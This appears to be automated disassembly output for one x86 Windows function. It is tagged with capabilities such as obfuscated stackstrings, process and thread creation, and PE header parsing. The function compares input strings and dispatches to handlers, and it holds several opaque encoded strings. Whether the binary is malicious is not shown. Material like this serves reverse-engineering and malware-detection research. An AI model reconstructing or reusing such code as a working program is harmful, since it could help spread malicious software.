Function at 0x522980
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create thread
Parse pe header

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57c3d5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
sub esp, 0x288
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov esi, ecx
sub esp, 0x18
mov dword [ebp - 0x34], esi
mov ecx, esp
mov dword [ebp - 0x50], 0
push 0x5c0778
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
mov edi, dword [ebx + 8]
add esp, 0x18
mov edx, eax
test edi, edi
je 0x522a20
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5229f0
sub ecx, dword [ebp - 0x20]
je 0x522a20
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522a20
cmp dword [edx + 0x14], 0x10
jb 0x522a0b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x522a27
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x522a5b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522a51
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526449
push ecx
push edx
call fcn.00549e44
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x522a73
mov eax, dword [esi + 0xc]
mov dword [eax + 0x118], 1
jmp 0x526431
sub esp, 0x18
mov ecx, esp
push 0x5c0808
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
test edi, edi
je 0x522ad0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522aa0
sub ecx, dword [ebp - 0x20]
je 0x522ad0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522ad0
cmp dword [edx + 0x14], 0x10
jb 0x522abb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x522ad7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x522b0b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522b01
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52644e
push ecx
push edx
call fcn.00549e44
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x523167
sub esp, 0x18
mov ecx, esp
push 0x5c07f0
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
test edi, edi
je 0x522b70
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522b40
sub ecx, dword [ebp - 0x20]
je 0x522b70
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522b70
cmp dword [edx + 0x14], 0x10
jb 0x522b5b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x522b77
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x522bab
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522ba1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526453
push ecx
push edx
call fcn.00549e44
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x522c5f
push 0x45
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.a05RRRRBsLMDUbmbHF_0SzVzlNgMhZJhocRJz8h1BDlzTf0k9vNDEfiJz8igGGwswOA
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042c350
push 2
push ecx
mov dword [ebp - 4], 0
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042d2f0
mov ecx, esi
call fcn.00443a10
add esp, 0x18
mov ecx, edi
call fcn.0045e3f0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x526431
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x522c50
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526485
push ecx
push edx
call fcn.00549e44
add esp, 8
jmp 0x526431
sub esp, 0x18
mov ecx, esp
push 0x5c0820
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
test edi, edi
je 0x522cb7
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522c87
sub ecx, dword [ebp - 0x20]
je 0x522cb7
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522cb7
cmp dword [edx + 0x14], 0x10
jb 0x522ca2
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x522cbe
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x522cf2
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522ce8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526458
push ecx
push edx
call fcn.00549e44
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x522da6
push 0x3b
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.WlFUZeSFzZNQkqlc3RDBeip28CjIzIyYtrODodANSZ2EQ3g8SNRA0vcykE
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042c350
push 1
push ecx
mov dword [ebp - 4], 1
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042d2f0
mov ecx, esi
call fcn.00443a10
add esp, 0x18
mov ecx, edi
call fcn.0045e3f0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x526431
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x522d97
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526485
push ecx
push edx
call fcn.00549e44
add esp, 8
jmp 0x526431
sub esp, 0x18
mov ecx, esp
push 0x5c0838
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
test edi, edi
je 0x522e00
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522dd0
sub ecx, dword [ebp - 0x20]
je 0x522e00
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522e00
cmp dword [edx + 0x14], 0x10
jb 0x522deb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x522e07
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x522e3b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522e31
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52645d
push ecx
push edx
call fcn.00549e44
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x522e50
mov ecx, dword [esi + 0xc]
push 0
call fcn.0041c660
jmp 0x526431
sub esp, 0x18
mov ecx, esp
push 0x5c0970
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
test edi, edi
je 0x522ea8
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522e78
sub ecx, dword [ebp - 0x20]
je 0x522ea8
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522ea8
cmp dword [edx + 0x14], 0x10
jb 0x522e93
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x522eaf
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x522ee3
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522ed9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526462
push ecx
push edx
call fcn.00549e44
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x523499
sub esp, 0x18
mov ecx, esp
push 0x5c0988
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
test edi, edi
je 0x522f45
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522f15
sub ecx, dword [ebp - 0x20]
je 0x522f45
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522f45
cmp dword [edx + 0x14], 0x10
jb 0x522f30
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x522f4c
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x522f80
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522f76
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526467
push ecx
push edx
call fcn.00549e44
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x523541
sub esp, 0x18
mov ecx, esp
push 0x5c0a60
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
test edi, edi
je 0x522fe2
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522fb2
sub ecx, dword [ebp - 0x20]
je 0x522fe2
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522fe2
cmp dword [edx + 0x14], 0x10
jb 0x522fcd
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x522fe9
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52301d
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x523013
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52646c
push ecx
push edx
call fcn.00549e44
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x5235e7
sub esp, 0x18
mov ecx, esp
push 0x5c0790
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
test edi, edi
je 0x523080
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x523050
sub ecx, dword [ebp - 0x20]
je 0x523080
mov eax, dword [edx + 0x10]
test eax, eax
je 0x523080
cmp dword [edx + 0x14], 0x10
jb 0x52306b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x523087
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5230bb
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5230b1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526471
push ecx
push edx
call fcn.00549e44
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5230ce
mov ecx, dword [esi + 0xc]
call fcn.0041d040
jmp 0x526431
sub esp, 0x18
mov ecx, esp
push 0x5c0808
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
test edi, edi
je 0x523126
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5230f6
sub ecx, dword [ebp - 0x20]
je 0x523126
mov eax, dword [edx + 0x10]
test eax, eax
je 0x523126
cmp dword [edx + 0x14], 0x10
jb 0x523111
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52312d
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x523161
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x523157
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526476
push ecx
push edx
call fcn.00549e44
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x523176
mov ecx, dword [esi + 0xc]
push 1
call fcn.0041c660
jmp 0x526431
sub esp, 0x18
mov ecx, esp
push 0x5c07f0
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5231d0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5231a0
sub ecx, dword [ebp - 0x20]
je 0x5231d0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5231d0
cmp dword [edx + 0x14], 0x10
jb 0x5231bb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5231d7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52320b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x523201
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52647b
push ecx
push edx
call fcn.00549e44
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5232bf
push 0x45
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.a3pZPbRBYCOB0b9WHlXVSwF7WHgMVQLjIctEzcJ7BA17yV0kJNPBkfpEzcKqGFgkWEA
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042c350
push 2
push ecx
mov dword [ebp - 4], 2
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042d2f0
mov ecx, esi
call fcn.00443a10
add esp, 0x18
mov ecx, edi
call fcn.0045e3f0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x526431
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x5232b0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526485
push ecx
push edx
call fcn.00549e44
add esp, 8
jmp 0x526431
sub esp, 0x18
mov ecx, esp
push 0x5c0820
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
test edi, edi
je 0x523317
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5232e7
sub ecx, dword [ebp - 0x20]
je 0x523317
mov eax, dword [edx + 0x10]
test eax, eax
je 0x523317
cmp dword [edx + 0x14], 0x10
jb 0x523302
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52331e
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x523352
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x523348
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526480
push ecx
push edx
call fcn.00549e44
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x523400
push 0x3b
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.U3o2tZShYUVxUjEWBZfJcwEUPFjsVxQTokTE1gByPA0U8X3EXhVww9qWEsY
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042c350
push 1
push ecx
mov dword [ebp - 4], 3
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042d2f0
mov ecx, esi
call fcn.00443a10
add esp, 0x18
mov ecx, edi
call fcn.0045e3f0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x526431
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x5232b0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526485
jmp 0x5232b0
sub esp, 0x18
mov ecx, esp
push 0x5c0970
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
test edi, edi
je 0x523458
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x523428
sub ecx, dword [ebp - 0x20]
je 0x523458
mov eax, dword [edx + 0x10]
test eax, eax
je 0x523458
cmp dword [edx + 0x14], 0x10
jb 0x523443
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52345f
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x523493
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x523489
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52648a
push ecx
push edx
call fcn.00549e44
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5234a6
mov ecx, dword [esi + 0xc]
call fcn.004062d0
jmp 0x526431
sub esp, 0x18
mov ecx, esp
push 0x5c0988
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
test edi, edi
je 0x523500
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5234d0
sub ecx, dword [ebp - 0x20]
je 0x523500
mov eax, dword [edx + 0x10]
test eax, eax
je 0x523500
cmp dword [edx + 0x14], 0x10
jb 0x5234eb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x523507
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52353b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x523531
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52648f
push ecx
push edx
call fcn.00549e44
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52354e
mov ecx, dword [esi + 0xc]
call fcn.004065b0
jmp 0x526431
sub esp, 0x18
mov ecx, esp
push 0x5c0a60
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5235a6
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x523576
sub ecx, dword [ebp - 0x20]
je 0x5235a6
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5235a6
cmp dword [edx + 0x14], 0x10
jb 0x523591
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5235ad
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5235e1
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5235d7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526494
push ecx
push edx
call fcn.00549e44
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5235f4
mov ecx, dword [esi + 0xc]
call fcn.0041d4b0
jmp 0x526431
sub esp, 0x18
mov ecx, esp
push 0x5c0850
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
test edi, edi
je 0x523650
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x523620
sub ecx, dword [ebp - 0x20]
je 0x523650
mov eax, dword [edx + 0x10]
test eax, eax
je 0x523650
cmp dword [edx + 0x14], 0x10
jb 0x52363b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x523657
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52368b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x523681
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x526499
push ecx
push edx
call fcn.00549e44
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5236a0
mov ecx, dword [esi + 0xc]
push 1
call fcn.00407390
jmp 0x526431
sub esp, 0x18
mov ecx, esp
push 0x5c0868
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5236f8
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5236c8
sub ecx, dword [ebp - 0x20]
je 0x5236f8
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5236f8
cmp dword [edx + 0x14], 0x10
jb 0x5236e3
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5236ff
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x523733
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x523729
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52649e
push ecx
push edx
call fcn.00549e44
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x523748
mov ecx, dword [esi + 0xc]
push 0
call fcn.00407390
jmp 0x526431
sub esp, 0x18
mov ecx, esp
push 0x5c0880
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5237a2
mov ecx, edi
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x523770
sub ecx, esi
je 0x5237a2
mov esi, dword [edx + 0x10]
test esi, esi
je 0x5237a2
cmp dword [edx + 0x14], 0x10
mov dword [ebp - 0x4c], esi
jb 0x52378d
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5237ac
mov esi, dword [ebp - 0x4c]
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5237e0
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5237d6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5264a3
push ecx
push edx
call fcn.00549e44
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5238d8
xorps xmm0, xmm0
mov dword [ebp - 0x138], 0
movups xmmword [ebp - 0x148], xmm0
mov dword [ebp - 0x134], 0xf
mov byte [ebp - 0x148], 0
mov ecx, edi
mov dword [ebp - 4], 4
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x523820
sub ecx, edx
lea eax, [ebp - 0x148]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.00526920
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x20], eax
call fcn.0054ee1d
cmp dword [ebp - 0x134], 0x10
lea esi, [ebp - 0x148]
mov edi, eax
lea eax, [ebp - 0x50]
cmovae esi, dword [ebp - 0x148]
push 0xa
push eax
push esi
mov dword [edi], 0
call fcn.0055077e
add esp, 0x14
cmp esi, dword [ebp - 0x50]
je 0x5264a8
cmp dword [edi], 0x22
je 0x5264b2
mov ecx, dword [ebp - 0x20]
test eax, eax
setne al
movzx eax, al
push eax
call fcn.00407670
mov ecx, dword [ebp - 0x134]
cmp ecx, 0x10
jb 0x526431
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5232b0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5264bc
jmp 0x5232b0
sub esp, 0x18
mov ecx, esp
push 0x5c0730
call fcn.0042bf20
lea ecx, [ebp - 0x68]
call fcn.00443680
add esp, 0x18
mov edx, eax
test edi, edi
je 0x523935
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x523900
sub ecx, dword [ebp - 0x20]
je 0x523935
mov eax, dword [edx + 0x10]
test eax, eax
je 0x523935
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x523920
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055a830
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52393c
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x523970
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x523966
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5264c1
push ecx
push edx
call fcn.00549e44
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x523a81
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 5
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5239b0
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.00526920
add esp, 8
lea ecx, [ebp - 0x1a0]
call fcn.004333a0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0xe4]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.004344c0
